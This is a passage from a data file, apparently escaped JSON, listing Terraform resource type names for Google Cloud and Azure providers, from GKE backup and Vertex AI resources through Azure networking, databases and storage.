\"google_gke_backup_backup_plan_iam_binding\",\n        \"google_gke_backup_backup_plan_iam_member\",\n        \"google_gke_backup_backup_plan_iam_policy\",\n        \"google_gke_backup_restore_plan\",\n        \"google_gke_backup_restore_plan_iam_binding\",\n        \"google_gke_backup_restore_plan_iam_member\",\n        \"google_gke_backup_restore_plan_iam_policy\",\n        \"google_gke_hub_feature\",\n        \"google_gke_hub_feature_iam_binding\",\n        \"google_gke_hub_feature_iam_member\",\n        \"google_gke_hub_feature_iam_policy\",\n        \"google_gke_hub_feature_membership\",\n        \"google_gke_hub_fleet\",\n        \"google_gke_hub_membership_binding\",\n        \"google_gke_hub_namespace\",\n        \"google_gke_hub_scope\",\n        \"google_gke_hub_scope_iam_binding\",\n        \"google_gke_hub_scope_iam_member\",\n        \"google_gke_hub_scope_iam_policy\",\n        \"google_gke_hub_scope_rbac_role_binding\",\n        \"google_gkeonprem_bare_metal_admin_cluster\",\n        \"google_gkeonprem_bare_metal_cluster\",\n        \"google_gkeonprem_bare_metal_node_pool\",\n        \"google_gkeonprem_vmware_cluster\",\n        \"google_gkeonprem_vmware_node_pool\",\n        \"google_iam_access_boundary_policy\",\n        \"google_iam_deny_policy\",\n        \"google_iam_workforce_pool\",\n        \"google_iam_workforce_pool_provider\",\n        \"google_iap_web_region_backend_service_iam_binding\",\n        \"google_iap_web_region_backend_service_iam_member\",\n        \"google_iap_web_region_backend_service_iam_policy\",\n        \"google_integration_connectors_connection\",\n        \"google_integration_connectors_endpoint_attachment\",\n        \"google_logging_folder_settings\",\n        \"google_logging_linked_dataset\",\n        \"google_logging_organization_settings\",\n        \"google_looker_instance\",\n        \"google_migration_center_group\",\n        \"google_netapp_active_directory\",\n        \"google_netapp_backup_policy\",\n        \"google_netapp_backup_vault\",\n        \"google_netapp_kmsconfig\",\n        \"google_netapp_storage_pool\",\n        \"google_netapp_volume\",\n        \"google_network_connectivity_policy_based_route\",\n        \"google_network_connectivity_service_connection_policy\",\n        \"google_network_security_address_group\",\n        \"google_network_security_address_group_iam_binding\",\n        \"google_network_security_address_group_iam_member\",\n        \"google_network_security_address_group_iam_policy\",\n        \"google_network_security_gateway_security_policy\",\n        \"google_network_security_gateway_security_policy_rule\",\n        \"google_network_security_url_lists\",\n        \"google_network_services_gateway\",\n        \"google_org_policy_custom_constraint\",\n        \"google_public_ca_external_account_key\",\n        \"google_pubsub_schema_iam_binding\",\n        \"google_pubsub_schema_iam_member\",\n        \"google_pubsub_schema_iam_policy\",\n        \"google_redis_cluster\",\n        \"google_scc_event_threat_detection_custom_module\",\n        \"google_scc_folder_custom_module\",\n        \"google_scc_mute_config\",\n        \"google_scc_organization_custom_module\",\n        \"google_scc_project_custom_module\",\n        \"google_secure_source_manager_instance\",\n        \"google_secure_source_manager_instance_iam_binding\",\n        \"google_secure_source_manager_instance_iam_member\",\n        \"google_secure_source_manager_instance_iam_policy\",\n        \"google_storage_insights_report_config\",\n        \"google_tags_location_tag_binding\",\n        \"google_vertex_ai_feature_group\",\n        \"google_vertex_ai_feature_group_feature\",\n        \"google_vertex_ai_feature_online_store\",\n        \"google_vertex_ai_feature_online_store_featureview\",\n        \"google_vertex_ai_index_endpoint\",\n        \"google_vmwareengine_cluster\",\n        \"google_vmwareengine_external_access_rule\",\n        \"google_vmwareengine_external_address\",\n        \"google_vmwareengine_network\",\n        \"google_vmwareengine_network_peering\",\n        \"google_vmwareengine_network_policy\",\n        \"google_vmwareengine_private_cloud\",\n        \"google_vmwareengine_subnet\",\n        \"google_workbench_instance\",\n        \"google_workbench_instance_iam_binding\",\n        \"google_workbench_instance_iam_member\",\n        \"google_workbench_instance_iam_policy\",\n        \"google_iam_policy\",\n        \"google_tpu_v2_vm\",\n        \"google_access_context_manager_service_perimeter_dry_run_egress_policy\",\n        \"google_access_context_manager_service_perimeter_dry_run_ingress_policy\",\n        \"google_access_context_manager_service_perimeter_dry_run_resource\",\n        \"google_apigee_api\",\n        \"google_apigee_app_group\",\n        \"google_apigee_developer\",\n        \"google_apigee_environment_addons_config\",\n        \"google_apigee_environment_keyvaluemaps\",\n        \"google_apigee_environment_keyvaluemaps_entries\",\n        \"google_apihub_api_hub_instance\",\n        \"google_apphub_application\",\n        \"google_apphub_service\",\n        \"google_apphub_service_project_attachment\",\n        \"google_apphub_workload\",\n        \"google_backup_dr_backup_vault\",\n        \"google_beyondcorp_security_gateway\",\n        \"google_beyondcorp_security_gateway_iam_binding\",\n        \"google_beyondcorp_security_gateway_iam_member\",\n        \"google_beyondcorp_security_gateway_iam_policy\",\n        \"google_bigtable_authorized_view\",\n        \"google_blockchain_node_engine_blockchain_nodes\",\n        \"google_cloud_quotas_quota_preference\",\n        \"google_clouddeploy_automation\",\n        \"google_clouddeploy_custom_target_type\",\n        \"google_clouddeploy_custom_target_type_iam_binding\",\n        \"google_clouddeploy_custom_target_type_iam_member\",\n        \"google_clouddeploy_custom_target_type_iam_policy\",\n        \"google_clouddeploy_delivery_pipeline_iam_binding\",\n        \"google_clouddeploy_delivery_pipeline_iam_member\",\n        \"google_clouddeploy_delivery_pipeline_iam_policy\",\n        \"google_clouddeploy_target_iam_binding\",\n        \"google_clouddeploy_target_iam_member\",\n        \"google_clouddeploy_target_iam_policy\",\n        \"google_colab_runtime\",\n        \"google_colab_runtime_template\",\n        \"google_colab_runtime_template_iam_binding\",\n        \"google_colab_runtime_template_iam_member\",\n        \"google_colab_runtime_template_iam_policy\",\n        \"google_composer_user_workloads_config_map\",\n        \"google_composer_user_workloads_secret\",\n        \"google_compute_instance_group_membership\",\n        \"google_compute_instance_settings\",\n        \"google_compute_instance_template_iam_binding\",\n        \"google_compute_instance_template_iam_member\",\n        \"google_compute_instance_template_iam_policy\",\n        \"google_compute_interconnect\",\n        \"google_compute_network_attachment\",\n        \"google_compute_project_cloud_armor_tier\",\n        \"google_compute_region_network_endpoint\",\n        \"google_compute_resize_request\",\n        \"google_compute_router_nat_address\",\n        \"google_compute_security_policy_rule\",\n        \"google_data_loss_prevention_discovery_config\",\n        \"google_database_migration_service_migration_job\",\n        \"google_dataplex_aspect_type\",\n        \"google_dataplex_aspect_type_iam_binding\",\n        \"google_dataplex_aspect_type_iam_member\",\n        \"google_dataplex_aspect_type_iam_policy\",\n        \"google_dataplex_entry_group\",\n        \"google_dataplex_entry_group_iam_binding\",\n        \"google_dataplex_entry_group_iam_member\",\n        \"google_dataplex_entry_group_iam_policy\",\n        \"google_dataplex_entry_type\",\n        \"google_dataplex_entry_type_iam_binding\",\n        \"google_dataplex_entry_type_iam_member\",\n        \"google_dataplex_entry_type_iam_policy\",\n        \"google_dataproc_batch\",\n        \"google_dataproc_gdc_application_environment\",\n        \"google_dataproc_gdc_service_instance\",\n        \"google_dataproc_gdc_spark_application\",\n        \"google_dataproc_metastore_federation\",\n        \"google_dataproc_metastore_federation_iam_binding\",\n        \"google_dataproc_metastore_federation_iam_member\",\n        \"google_dataproc_metastore_federation_iam_policy\",\n        \"google_developer_connect_connection\",\n        \"google_developer_connect_git_repository_link\",\n        \"google_discovery_engine_chat_engine\",\n        \"google_discovery_engine_data_store\",\n        \"google_discovery_engine_schema\",\n        \"google_discovery_engine_search_engine\",\n        \"google_discovery_engine_target_site\",\n        \"google_edgenetwork_interconnect_attachment\",\n        \"google_firebase_app_check_app_attest_config\",\n        \"google_firebase_app_check_debug_token\",\n        \"google_firebase_app_check_device_check_config\",\n        \"google_firebase_app_check_play_integrity_config\",\n        \"google_firebase_app_check_recaptcha_enterprise_config\",\n        \"google_firebase_app_check_recaptcha_v3_config\",\n        \"google_firebase_app_check_service_config\",\n        \"google_gemini_code_repository_index\",\n        \"google_gemini_repository_group\",\n        \"google_gemini_repository_group_iam_binding\",\n        \"google_gemini_repository_group_iam_member\",\n        \"google_gemini_repository_group_iam_policy\",\n        \"google_healthcare_pipeline_job\",\n        \"google_healthcare_workspace\",\n        \"google_iam_folders_policy_binding\",\n        \"google_iam_organizations_policy_binding\",\n        \"google_iam_principal_access_boundary_policy\",\n        \"google_iam_projects_policy_binding\",\n        \"google_iap_settings\",\n        \"google_iap_tunnel_dest_group\",\n        \"google_iap_tunnel_dest_group_iam_binding\",\n        \"google_iap_tunnel_dest_group_iam_member\",\n        \"google_iap_tunnel_dest_group_iam_policy\",\n        \"google_integration_connectors_managed_zone\",\n        \"google_integrations_auth_config\",\n        \"google_integrations_client\",\n        \"google_kms_ekm_connection\",\n        \"google_kms_ekm_connection_iam_binding\",\n        \"google_kms_ekm_connection_iam_member\",\n        \"google_kms_ekm_connection_iam_policy\",\n        \"google_logging_log_scope\",\n        \"google_logging_log_view_iam_binding\",\n        \"google_logging_log_view_iam_member\",\n        \"google_logging_log_view_iam_policy\",\n        \"google_managed_kafka_cluster\",\n        \"google_managed_kafka_topic\",\n        \"google_memorystore_instance\",\n        \"google_migration_center_preference_set\",\n        \"google_netapp_backup\",\n        \"google_netapp_volume_replication\",\n        \"google_netapp_volume_snapshot\",\n        \"google_network_connectivity_group\",\n        \"google_network_connectivity_internal_range\",\n        \"google_network_connectivity_regional_endpoint\",\n        \"google_network_management_vpc_flow_logs_config\",\n        \"google_network_security_authz_policy\",\n        \"google_network_security_client_tls_policy\",\n        \"google_network_security_firewall_endpoint\",\n        \"google_network_security_firewall_endpoint_association\",\n        \"google_network_security_security_profile\",\n        \"google_network_security_security_profile_group\",\n        \"google_network_security_server_tls_policy\",\n        \"google_network_security_tls_inspection_policy\",\n        \"google_network_services_authz_extension\",\n        \"google_network_services_lb_route_extension\",\n        \"google_network_services_lb_traffic_extension\",\n        \"google_oracle_database_autonomous_database\",\n        \"google_oracle_database_cloud_exadata_infrastructure\",\n        \"google_oracle_database_cloud_vm_cluster\",\n        \"google_parallelstore_instance\",\n        \"google_privileged_access_manager_entitlement\",\n        \"google_project_iam_member_remove\",\n        \"google_redis_cluster_user_created_connections\",\n        \"google_scc_folder_notification_config\",\n        \"google_scc_folder_scc_big_query_export\",\n        \"google_scc_management_folder_security_health_analytics_custom_module\",\n        \"google_scc_management_organization_event_threat_detection_custom_module\",\n        \"google_scc_management_organization_security_health_analytics_custom_module\",\n        \"google_scc_management_project_security_health_analytics_custom_module\",\n        \"google_scc_organization_scc_big_query_export\",\n        \"google_scc_project_notification_config\",\n        \"google_scc_project_scc_big_query_export\",\n        \"google_scc_v2_folder_mute_config\",\n        \"google_scc_v2_folder_notification_config\",\n        \"google_scc_v2_folder_scc_big_query_export\",\n        \"google_scc_v2_organization_mute_config\",\n        \"google_scc_v2_organization_notification_config\",\n        \"google_scc_v2_organization_scc_big_query_export\",\n        \"google_scc_v2_organization_scc_big_query_exports\",\n        \"google_scc_v2_organization_source\",\n        \"google_scc_v2_organization_source_iam_binding\",\n        \"google_scc_v2_organization_source_iam_member\",\n        \"google_scc_v2_organization_source_iam_policy\",\n        \"google_scc_v2_project_mute_config\",\n        \"google_scc_v2_project_notification_config\",\n        \"google_scc_v2_project_scc_big_query_export\",\n        \"google_secret_manager_regional_secret\",\n        \"google_secret_manager_regional_secret_iam_binding\",\n        \"google_secret_manager_regional_secret_iam_member\",\n        \"google_secret_manager_regional_secret_iam_policy\",\n        \"google_secret_manager_regional_secret_version\",\n        \"google_secure_source_manager_branch_rule\",\n        \"google_secure_source_manager_repository\",\n        \"google_secure_source_manager_repository_iam_binding\",\n        \"google_secure_source_manager_repository_iam_member\",\n        \"google_secure_source_manager_repository_iam_policy\",\n        \"google_securityposture_posture\",\n        \"google_securityposture_posture_deployment\",\n        \"google_service_networking_vpc_service_controls\",\n        \"google_site_verification_owner\",\n        \"google_site_verification_web_resource\",\n        \"google_spanner_backup_schedule\",\n        \"google_spanner_instance_config\",\n        \"google_storage_folder\",\n        \"google_storage_managed_folder\",\n        \"google_storage_managed_folder_iam_binding\",\n        \"google_storage_managed_folder_iam_member\",\n        \"google_storage_managed_folder_iam_policy\",\n        \"google_transcoder_job\",\n        \"google_transcoder_job_template\",\n        \"google_vertex_ai_deployment_resource_pool\",\n        \"google_vertex_ai_index_endpoint_deployed_index\"\n    ],\n    \"azure\": [\n        \"azurerm_api_management\",\n        \"azurerm_api_management_api\",\n        \"azurerm_api_management_api_operation\",\n        \"azurerm_api_management_api_operation_policy\",\n        \"azurerm_api_management_api_policy\",\n        \"azurerm_api_management_api_schema\",\n        \"azurerm_api_management_api_version_set\",\n        \"azurerm_api_management_authorization_server\",\n        \"azurerm_api_management_backend\",\n        \"azurerm_api_management_certificate\",\n        \"azurerm_api_management_diagnostic\",\n        \"azurerm_api_management_group\",\n        \"azurerm_api_management_group_user\",\n        \"azurerm_api_management_identity_provider_aad\",\n        \"azurerm_api_management_identity_provider_facebook\",\n        \"azurerm_api_management_identity_provider_google\",\n        \"azurerm_api_management_identity_provider_microsoft\",\n        \"azurerm_api_management_identity_provider_twitter\",\n        \"azurerm_api_management_logger\",\n        \"azurerm_api_management_named_value\",\n        \"azurerm_api_management_openid_connect_provider\",\n        \"azurerm_api_management_product\",\n        \"azurerm_api_management_product_api\",\n        \"azurerm_api_management_product_group\",\n        \"azurerm_api_management_product_policy\",\n        \"azurerm_api_management_property\",\n        \"azurerm_api_management_subscription\",\n        \"azurerm_api_management_user\",\n        \"azurerm_analysis_services_server\",\n        \"azurerm_app_configuration\",\n        \"azurerm_app_service\",\n        \"azurerm_app_service_active_slot\",\n        \"azurerm_app_service_certificate\",\n        \"azurerm_app_service_certificate_order\",\n        \"azurerm_app_service_custom_hostname_binding\",\n        \"azurerm_app_service_environment\",\n        \"azurerm_app_service_hybrid_connection\",\n        \"azurerm_app_service_plan\",\n        \"azurerm_app_service_slot\",\n        \"azurerm_app_service_slot_virtual_network_swift_connection\",\n        \"azurerm_app_service_source_control_token\",\n        \"azurerm_app_service_virtual_network_swift_connection\",\n        \"azurerm_function_app\",\n        \"azurerm_function_app_slot\",\n        \"azurerm_application_insights\",\n        \"azurerm_application_insights_analytics_item\",\n        \"azurerm_application_insights_api_key\",\n        \"azurerm_application_insights_web_test\",\n        \"azurerm_role_assignment\",\n        \"azurerm_role_definition\",\n        \"azurerm_user_assigned_identity\",\n        \"azurerm_automation_account\",\n        \"azurerm_automation_certificate\",\n        \"azurerm_automation_connection\",\n        \"azurerm_automation_connection_certificate\",\n        \"azurerm_automation_connection_classic_certificate\",\n        \"azurerm_automation_connection_service_principal\",\n        \"azurerm_automation_credential\",\n        \"azurerm_automation_dsc_configuration\",\n        \"azurerm_automation_dsc_nodeconfiguration\",\n        \"azurerm_automation_job_schedule\",\n        \"azurerm_automation_module\",\n        \"azurerm_automation_runbook\",\n        \"azurerm_automation_schedule\",\n        \"azurerm_automation_variable_bool\",\n        \"azurerm_automation_variable_datetime\",\n        \"azurerm_automation_variable_int\",\n        \"azurerm_automation_variable_string\",\n        \"azurerm_resource_group\",\n        \"azurerm_batch_account\",\n        \"azurerm_batch_application\",\n        \"azurerm_batch_certificate\",\n        \"azurerm_batch_pool\",\n        \"azurerm_blueprint_assignment\",\n        \"azurerm_bot_channel_directline\",\n        \"azurerm_bot_channel_email\",\n        \"azurerm_bot_channel_ms_teams\",\n        \"azurerm_bot_channel_slack\",\n        \"azurerm_bot_channels_registration\",\n        \"azurerm_bot_connection\",\n        \"azurerm_bot_web_app\",\n        \"azurerm_cdn_endpoint\",\n        \"azurerm_cdn_profile\",\n        \"azurerm_cognitive_account\",\n        \"azurerm_availability_set\",\n        \"azurerm_dedicated_host\",\n        \"azurerm_dedicated_host_group\",\n        \"azurerm_disk_encryption_set\",\n        \"azurerm_image\",\n        \"azurerm_linux_virtual_machine\",\n        \"azurerm_linux_virtual_machine_scale_set\",\n        \"azurerm_managed_disk\",\n        \"azurerm_marketplace_agreement\",\n        \"azurerm_orchestrated_virtual_machine_scale_set\",\n        \"azurerm_proximity_placement_group\",\n        \"azurerm_shared_image\",\n        \"azurerm_shared_image_gallery\",\n        \"azurerm_shared_image_version\",\n        \"azurerm_snapshot\",\n        \"azurerm_virtual_machine\",\n        \"azurerm_virtual_machine_data_disk_attachment\",\n        \"azurerm_virtual_machine_extension\",\n        \"azurerm_virtual_machine_scale_set\",\n        \"azurerm_virtual_machine_scale_set_extension\",\n        \"azurerm_windows_virtual_machine\",\n        \"azurerm_windows_virtual_machine_scale_set\",\n        \"azurerm_container_group\",\n        \"azurerm_container_registry\",\n        \"azurerm_container_registry_webhook\",\n        \"azurerm_kubernetes_cluster\",\n        \"azurerm_kubernetes_cluster_node_pool\",\n        \"azurerm_cosmosdb_account\",\n        \"azurerm_cosmosdb_cassandra_keyspace\",\n        \"azurerm_cosmosdb_gremlin_database\",\n        \"azurerm_cosmosdb_gremlin_graph\",\n        \"azurerm_cosmosdb_mongo_collection\",\n        \"azurerm_cosmosdb_mongo_database\",\n        \"azurerm_cosmosdb_sql_container\",\n        \"azurerm_cosmosdb_sql_database\",\n        \"azurerm_cosmosdb_table\",\n        \"azurerm_cost_management_export_resource_group\",\n        \"azurerm_custom_provider\",\n        \"azurerm_dns_a_record\",\n        \"azurerm_dns_aaaa_record\",\n        \"azurerm_dns_caa_record\",\n        \"azurerm_dns_cname_record\",\n        \"azurerm_dns_mx_record\",\n        \"azurerm_dns_ns_record\",\n        \"azurerm_dns_ptr_record\",\n        \"azurerm_dns_srv_record\",\n        \"azurerm_dns_txt_record\",\n        \"azurerm_dns_zone\",\n        \"azurerm_kusto_attached_database_configuration\",\n        \"azurerm_kusto_cluster\",\n        \"azurerm_kusto_cluster_customer_managed_key\",\n        \"azurerm_kusto_cluster_principal_assignment\",\n        \"azurerm_kusto_database\",\n        \"azurerm_kusto_database_principal\",\n        \"azurerm_kusto_database_principal_assignment\",\n        \"azurerm_kusto_eventhub_data_connection\",\n        \"azurerm_data_factory\",\n        \"azurerm_data_factory_dataset_azure_blob\",\n        \"azurerm_data_factory_dataset_cosmosdb_sqlapi\",\n        \"azurerm_data_factory_dataset_delimited_text\",\n        \"azurerm_data_factory_dataset_http\",\n        \"azurerm_data_factory_dataset_json\",\n        \"azurerm_data_factory_dataset_mysql\",\n        \"azurerm_data_factory_dataset_postgresql\",\n        \"azurerm_data_factory_dataset_sql_server_table\",\n        \"azurerm_data_factory_integration_runtime_managed\",\n        \"azurerm_data_factory_integration_runtime_self_hosted\",\n        \"azurerm_data_factory_linked_service_azure_blob_storage\",\n        \"azurerm_data_factory_linked_service_azure_file_storage\",\n        \"azurerm_data_factory_linked_service_azure_function\",\n        \"azurerm_data_factory_linked_service_cosmosdb\",\n        \"azurerm_data_factory_linked_service_data_lake_storage_gen2\",\n        \"azurerm_data_factory_linked_service_key_vault\",\n        \"azurerm_data_factory_linked_service_mysql\",\n        \"azurerm_data_factory_linked_service_postgresql\",\n        \"azurerm_data_factory_linked_service_sftp\",\n        \"azurerm_data_factory_linked_service_sql_server\",\n        \"azurerm_data_factory_linked_service_web\",\n        \"azurerm_data_factory_pipeline\",\n        \"azurerm_data_factory_trigger_schedule\",\n        \"azurerm_data_lake_analytics_account\",\n        \"azurerm_data_lake_analytics_firewall_rule\",\n        \"azurerm_data_lake_store\",\n        \"azurerm_data_lake_store_file\",\n        \"azurerm_data_lake_store_firewall_rule\",\n        \"azurerm_data_share\",\n        \"azurerm_data_share_account\",\n        \"azurerm_data_share_dataset_blob_storage\",\n        \"azurerm_data_share_dataset_data_lake_gen1\",\n        \"azurerm_mariadb_configuration\",\n        \"azurerm_mariadb_database\",\n        \"azurerm_mariadb_firewall_rule\",\n        \"azurerm_mariadb_server\",\n        \"azurerm_mariadb_virtual_network_rule\",\n        \"azurerm_mssql_database\",\n        \"azurerm_mssql_database_vulnerability_assessment_rule_baseline\",\n        \"azurerm_mssql_elasticpool\",\n        \"azurerm_mssql_server\",\n        \"azurerm_mssql_server_security_alert_policy\",\n        \"azurerm_mssql_server_vulnerability_assessment\",\n        \"azurerm_mssql_virtual_machine\",\n        \"azurerm_mysql_active_directory_administrator\",\n        \"azurerm_mysql_configuration\",\n        \"azurerm_mysql_database\",\n        \"azurerm_mysql_firewall_rule\",\n        \"azurerm_mysql_server\",\n        \"azurerm_mysql_virtual_network_rule\",\n        \"azurerm_postgresql_active_directory_administrator\",\n        \"azurerm_postgresql_configuration\",\n        \"azurerm_postgresql_database\",\n        \"azurerm_postgresql_firewall_rule\",\n        \"azurerm_postgresql_server\",\n        \"azurerm_postgresql_virtual_network_rule\",\n        \"azurerm_sql_active_directory_administrator\",\n        \"azurerm_sql_database\",\n        \"azurerm_sql_elasticpool\",\n        \"azurerm_sql_failover_group\",\n        \"azurerm_sql_firewall_rule\",\n        \"azurerm_sql_server\",\n        \"azurerm_sql_virtual_network_rule\",\n        \"azurerm_database_migration_project\",\n        \"azurerm_database_migration_service\",\n        \"azurerm_databricks_workspace\",\n        \"azurerm_dev_test_global_vm_shutdown_schedule\",\n        \"azurerm_dev_test_lab\",\n        \"azurerm_dev_test_linux_virtual_machine\",\n        \"azurerm_dev_test_policy\",\n        \"azurerm_dev_test_schedule\",\n        \"azurerm_dev_test_virtual_network\",\n        \"azurerm_dev_test_windows_virtual_machine\",\n        \"azurerm_devspace_controller\",\n        \"azurerm_hdinsight_hadoop_cluster\",\n        \"azurerm_hdinsight_hbase_cluster\",\n        \"azurerm_hdinsight_interactive_query_cluster\",\n        \"azurerm_hdinsight_kafka_cluster\",\n        \"azurerm_hdinsight_ml_services_cluster\",\n        \"azurerm_hdinsight_rserver_cluster\",\n        \"azurerm_hdinsight_spark_cluster\",\n        \"azurerm_hdinsight_storm_cluster\",\n        \"azurerm_dedicated_hardware_security_module\",\n        \"azurerm_healthcare_service\",\n        \"azurerm_iotcentral_application\",\n        \"azurerm_iothub\",\n        \"azurerm_iothub_consumer_group\",\n        \"azurerm_iothub_dps\",\n        \"azurerm_iothub_dps_certificate\",\n        \"azurerm_iothub_dps_shared_access_policy\",\n        \"azurerm_iothub_shared_access_policy\",\n        \"azurerm_key_vault\",\n        \"azurerm_key_vault_access_policy\",\n        \"azurerm_key_vault_certificate\",\n        \"azurerm_key_vault_certificate_issuer\",\n        \"azurerm_key_vault_key\",\n        \"azurerm_key_vault_secret\",\n        \"azurerm_lb\",\n        \"azurerm_lb_backend_address_pool\",\n        \"azurerm_lb_nat_pool\",\n        \"azurerm_lb_nat_rule\",\n        \"azurerm_lb_outbound_rule\",\n        \"azurerm_lb_probe\",\n        \"azurerm_lb_rule\",\n        \"azurerm_log_analytics_datasource_windows_event\",\n        \"azurerm_log_analytics_datasource_windows_performance_counter\",\n        \"azurerm_log_analytics_linked_service\",\n        \"azurerm_log_analytics_solution\",\n        \"azurerm_log_analytics_workspace\",\n        \"azurerm_logic_app_action_custom\",\n        \"azurerm_logic_app_action_http\",\n        \"azurerm_logic_app_integration_account\",\n        \"azurerm_logic_app_trigger_custom\",\n        \"azurerm_logic_app_trigger_http_request\",\n        \"azurerm_logic_app_trigger_recurrence\",\n        \"azurerm_logic_app_workflow\",\n        \"azurerm_machine_learning_workspace\",\n        \"azurerm_maintenance_assignment_dedicated_host\",\n        \"azurerm_maintenance_assignment_virtual_machine\",\n        \"azurerm_maintenance_configuration\",\n        \"azurerm_managed_application\",\n        \"azurerm_managed_application_definition\",\n        \"azurerm_management_group\",\n        \"azurerm_management_lock\",\n        \"azurerm_maps_account\",\n        \"azurerm_media_services_account\",\n        \"azurerm_eventgrid_domain\",\n        \"azurerm_eventgrid_domain_topic\",\n        \"azurerm_eventgrid_event_subscription\",\n        \"azurerm_eventgrid_topic\",\n        \"azurerm_eventhub\",\n        \"azurerm_eventhub_authorization_rule\",\n        \"azurerm_eventhub_cluster\",\n        \"azurerm_eventhub_consumer_group\",\n        \"azurerm_eventhub_namespace\",\n        \"azurerm_eventhub_namespace_authorization_rule\",\n        \"azurerm_eventhub_namespace_disaster_recovery_config\",\n        \"azurerm_iothub_endpoint_eventhub\",\n        \"azurerm_iothub_endpoint_servicebus_queue\",\n        \"azurerm_iothub_endpoint_servicebus_topic\",\n        \"azurerm_iothub_endpoint_storage_container\",\n        \"azurerm_iothub_fallback_route\",\n        \"azurerm_iothub_route\",\n        \"azurerm_notification_hub\",\n        \"azurerm_notification_hub_authorization_rule\",\n        \"azurerm_notification_hub_namespace\",\n        \"azurerm_relay_hybrid_connection\",\n        \"azurerm_relay_namespace\",\n        \"azurerm_servicebus_namespace\",\n        \"azurerm_servicebus_namespace_authorization_rule\",\n        \"azurerm_servicebus_namespace_network_rule_set\",\n        \"azurerm_servicebus_queue\",\n        \"azurerm_servicebus_queue_authorization_rule\",\n        \"azurerm_servicebus_subscription\",\n        \"azurerm_servicebus_subscription_rule\",\n        \"azurerm_servicebus_topic\",\n        \"azurerm_servicebus_topic_authorization_rule\",\n        \"azurerm_signalr_service\",\n        \"azurerm_spatial_anchors_account\",\n        \"azurerm_monitor_action_group\",\n        \"azurerm_monitor_action_rule_action_group\",\n        \"azurerm_monitor_action_rule_suppression\",\n        \"azurerm_monitor_activity_log_alert\",\n        \"azurerm_monitor_autoscale_setting\",\n        \"azurerm_monitor_diagnostic_setting\",\n        \"azurerm_monitor_log_profile\",\n        \"azurerm_monitor_metric_alert\",\n        \"azurerm_monitor_scheduled_query_rules_alert\",\n        \"azurerm_monitor_scheduled_query_rules_log\",\n        \"azurerm_netapp_account\",\n        \"azurerm_netapp_pool\",\n        \"azurerm_netapp_snapshot\",\n        \"azurerm_netapp_volume\",\n        \"azurerm_application_gateway\",\n        \"azurerm_application_security_group\",\n        \"azurerm_bastion_host\",\n        \"azurerm_express_route_circuit\",\n        \"azurerm_express_route_circuit_authorization\",\n        \"azurerm_express_route_circuit_peering\",\n        \"azurerm_express_route_gateway\",\n        \"azurerm_firewall\",\n        \"azurerm_firewall_application_rule_collection\",\n        \"azurerm_firewall_nat_rule_collection\",\n        \"azurerm_firewall_network_rule_collection\",\n        \"azurerm_frontdoor\",\n        \"azurerm_frontdoor_custom_https_configuration\",\n        \"azurerm_frontdoor_firewall_policy\",\n        \"azurerm_local_network_gateway\",\n        \"azurerm_nat_gateway\",\n        \"azurerm_nat_gateway_public_ip_association\",\n        \"azurerm_network_ddos_protection_plan\",\n        \"azurerm_network_interface\",\n        \"azurerm_network_interface_application_gateway_backend_address_pool_association\",\n        \"azurerm_network_interface_application_security_group_association\",\n        \"azurerm_network_interface_backend_address_pool_association\",\n        \"azurerm_network_interface_nat_rule_association\",\n        \"azurerm_network_interface_security_group_association\",\n        \"azurerm_network_packet_capture\",\n        \"azurerm_network_profile\",\n        \"azurerm_network_security_group\",\n        \"azurerm_network_security_rule\",\n        \"azurerm_network_watcher\",\n        \"azurerm_network_watcher_flow_log\",\n        \"azurerm_packet_capture\",\n        \"azurerm_point_to_site_vpn_gateway\",\n        \"azurerm_private_endpoint\",\n        \"azurerm_private_link_service\",\n        \"azurerm_public_ip\",\n        \"azurerm_public_ip_prefix\",\n        \"azurerm_route\",\n        \"azurerm_route_filter\",\n        \"azurerm_route_table\",\n        \"azurerm_subnet\",\n        \"azurerm_subnet_nat_gateway_association\",\n        \"azurerm_subnet_network_security_group_association\",\n        \"azurerm_subnet_route_table_association\",\n        \"azurerm_traffic_manager_endpoint\",\n        \"azurerm_traffic_manager_profile\",\n        \"azurerm_virtual_hub\",\n        \"azurerm_virtual_hub_connection\",\n        \"azurerm_virtual_network\",\n        \"azurerm_virtual_network_gateway\",\n        \"azurerm_virtual_network_gateway_connection\",\n        \"azurerm_virtual_network_peering\",\n        \"azurerm_virtual_wan\",\n        \"azurerm_vpn_gateway\",\n        \"azurerm_vpn_server_configuration\",\n        \"azurerm_web_application_firewall_policy\",\n        \"azurerm_policy_assignment\",\n        \"azurerm_policy_definition\",\n        \"azurerm_policy_remediation\",\n        \"azurerm_policy_set_definition\",\n        \"azurerm_dashboard\",\n        \"azurerm_powerbi_embedded\",\n        \"azurerm_private_dns_a_record\",\n        \"azurerm_private_dns_aaaa_record\",\n        \"azurerm_private_dns_cname_record\",\n        \"azurerm_private_dns_mx_record\",\n        \"azurerm_private_dns_ptr_record\",\n        \"azurerm_private_dns_srv_record\",\n        \"azurerm_private_dns_txt_record\",\n        \"azurerm_private_dns_zone\",\n        \"azurerm_private_dns_zone_virtual_network_link\",\n        \"azurerm_backup_container_storage_account\",\n        \"azurerm_backup_policy_file_share\",\n        \"azurerm_backup_policy_vm\",\n        \"azurerm_backup_protected_file_share\",\n        \"azurerm_backup_protected_vm\",\n        \"azurerm_recovery_services_vault\",\n        \"azurerm_site_recovery_fabric\",\n        \"azurerm_site_recovery_network_mapping\",\n        \"azurerm_site_recovery_protection_container\",\n        \"azurerm_site_recovery_protection_container_mapping\",\n        \"azurerm_site_recovery_replicated_vm\",\n        \"azurerm_site_recovery_replication_policy\",\n        \"azurerm_redis_cache\",\n        \"azurerm_redis_firewall_rule\",\n        \"azurerm_search_service\",\n        \"azurerm_advanced_threat_protection\",\n        \"azurerm_security_center_contact\",\n        \"azurerm_security_center_subscription_pricing\",\n        \"azurerm_security_center_workspace\",\n        \"azurerm_sentinel_alert_rule_ms_security_incident\",\n        \"azurerm_sentinel_alert_rule_scheduled\",\n        \"azurerm_service_fabric_cluster\",\n        \"azurerm_spring_cloud_app\",\n        \"azurerm_spring_cloud_service\",\n        \"azurerm_hpc_cache\",\n        \"azurerm_hpc_cache_blob_target\",\n        \"azurerm_hpc_cache_nfs_target\",\n        \"azurerm_storage_account\",\n        \"azurerm_storage_account_customer_managed_key\",\n        \"azurerm_storage_account_network_rules\",\n        \"azurerm_storage_blob\",\n        \"azurerm_storage_container\",\n        \"azurerm_storage_data_lake_gen2_filesystem\",\n        \"azurerm_storage_management_policy\",\n        \"azurerm_storage_queue\",\n        \"azurerm_storage_share\",\n        \"azurerm_storage_share_directory\",\n        \"azurerm_storage_table\",\n        \"azurerm_storage_table_entity\",\n        